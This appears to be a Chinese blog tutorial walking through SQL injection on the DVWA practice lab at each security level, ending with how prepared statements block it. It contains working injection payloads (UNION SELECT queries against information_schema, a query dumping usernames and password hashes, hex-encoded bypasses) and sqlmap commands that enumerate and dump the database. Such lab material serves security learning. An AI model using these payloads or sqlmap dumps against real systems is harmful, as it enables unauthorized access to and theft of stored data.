DVWA-SQL注入

设置防御等级为low

在这里插入图片描述

查看后台源代码

如果我们执行select first_name,last_name from users where user_id = ‘1’ and 1=1#‘;
我们输入的是1‘and 1=1#
这是SQL会判断1=1是对的
#的再用是注释后面的SQL语句
如果我们执行select first_name,last_name from users where user_id = ‘1’ and 1=2#’;
我们输入的是1‘and 1=2#
这是SQL会判断1=2是错的
证明SQL语句声效 存在SQL注入漏洞
在这里插入图片描述

如何利用SQL注入漏洞呢?

1.判断列/字段数
order by [column_num]
select fisrt_name,last_name from users where user_id = ‘1’order by 1#’;
select fisrt_name,last_name from users where user_id = ‘1’order by 2#’;
select fisrt_name,last_name from users where user_id = ‘1’order by 3#’;
如果我们输入1’order by 3# 网页出现报错 则说明该数据库有2列/字段
在这里插入图片描述
2.联合查询其他信息
union select [sql1] [sql2]
select fisrt_name,last_name from users where user_id = ‘1’ union select user(),database()#‘;
user() 返回当前数据库连接用户
database() 返回当前数据库名称
在这里插入图片描述
3.联合查询表
union select table_name,tabke_schema from information_schema.tables where table_schema=’[database_name]’
union select table_name,tabke_schema from information_schema.tables where table_schema=‘1’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’#‘;
这里看到出来dvwa有二个表 一个是guestbook一个是users
在这里插入图片描述
4.联合查询信息
union [query_sql]
select fisrt_name,last_name from users where user_id = ‘1’ union select user,password from users#’;
这边我们看admin的Surname
5f4dcc3b5aa765d61d8327deb882cf99这个值是md5加密的我们解密出来的密码为password
在这里插入图片描述
在这里插入图片描述

SQLmap

第一步检测漏洞

我这里说一下安装python的时候建议下载3.10.0以下 我这里研究了一上午发现发现Python 3.12的发布,distutils终于被移除。根据 PEP 632,distutils 在 Python 3.10 中被标记为废弃,在 Python 3.12 中将不再是标准库的一部分。从distutils中导入将导致一个错误,因为不会有向后兼容的情况出现。如果这个时候你用3.10.0以上版本会出import distutils不存在等
sqlmap下载连接https://sqlmap.org/
python下载连接https://www.python.org/
1.请在sqlmap文件夹下浏览框输入cmd
在这里插入图片描述
2.输入python sqlmap.py
3.python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low”
其中的-u是需要检测的网址 --cookie是DVWA需要登录。可以在浏览器控制台查看请求头中获取cookie

1.it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
DBMS为Mysql,问我们是否要其他数据库进行检测
2.for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
问我们这个数据库扩展提供的级别(1)和风险(1)值是否进行检测。
3.GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)[y/N]
GET参数“id”易受攻击。你想继续测试其他人吗

在这里插入图片描述
在这里插入图片描述

第二步获取数据库名

python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low” --dbs
dbs:database server 获取所有数据库名
在这里插入图片描述

第三步获取指定数据库

python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low” -D dvwa --tables
D:Database指定想要获取的数据库名为dvwa
tables:累出数据库表
在这里插入图片描述

第四部获取指定数据库列/表项

python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low” -D dvwa -T users --columns
D:Database指定想要获取的数据库名为dvwa
T:table指定想要获取的表名为users
columns:列出表项/列
在这里插入图片描述

第五步获取数据

python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low” -D dvwa -T users --dump
dump:读取数据

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
是否要将哈希存储到临时文件中,以便最终使用其他工具进行进一步处理
do you want to crack them via a dictionary-based attack? [Y/n/q]
你想通过基于字典的攻击来破解它们吗? 爆破/不爆破/退出

在这里插入图片描述

设置防御等级为Medium

在这里插入图片描述
mysqli_real_escape_string这个是php中一个内置函数作用是转移字符串中的特殊字符 意思是给每个’前面加个\

select frist_name,last_name from users where user_id='1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#';
select frist_name,last_name from users where user_id='1\' union select table_name,table_schema from information_schema.tables where table_schema=\'dvwa\'#';
第一个将dvwa替换成database()
select frist_name,last_name from users where user_id='1 union select table_name,table_schema from information_schema.tables where table_schema=database()#';
第二个将dvwa替换成0x64767761的十六进制
select frist_name,last_name from users where user_id='1 union select table_name,table_schema from information_schema.tables where table_schema=0x64767761#';

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

设置防御等级设置High

在这里插入图片描述
select frist_name,last_name from users where user_id=‘$id’ LIMIT 1;这里是添加了限制
high中缺少传入数据的过滤,无法防御注入漏洞
在这里插入图片描述
在这里插入图片描述

设置成Imporssible

在这里插入图片描述
这里坐牢后端格式验证
在这里插入图片描述
下面坐牢SQL预处理PDO
在这里插入图片描述
1.in_numeric 判断用户输入的是不是数字
2.intval 获取用户输入内容的数字 再次确定
3.prepare 进行sql语句预处理
4.bindParam 绑定输入参数 并再次指定为整形
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-23 23:40:01       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-23 23:40:01       106 阅读
  3. 在Django里面运行非项目文件

    2024-01-23 23:40:01       87 阅读
  4. Python语言-面向对象

    2024-01-23 23:40:01       96 阅读

热门阅读

  1. 第二百八十一回

    2024-01-23 23:40:01       65 阅读
  2. MySQL计算碎片化比率并优化表

    2024-01-23 23:40:01       57 阅读
  3. C++面试:stl的栈和队列介绍

    2024-01-23 23:40:01       56 阅读
  4. Git tag使用

    2024-01-23 23:40:01       55 阅读
  5. 远程ssh 不通的原因之一

    2024-01-23 23:40:01       62 阅读
  6. 1213:八皇后问题(c++)

    2024-01-23 23:40:01       52 阅读
  7. 如何提高sql执行效率

    2024-01-23 23:40:01       53 阅读
  8. Redis(六)发布订阅,不推荐

    2024-01-23 23:40:01       56 阅读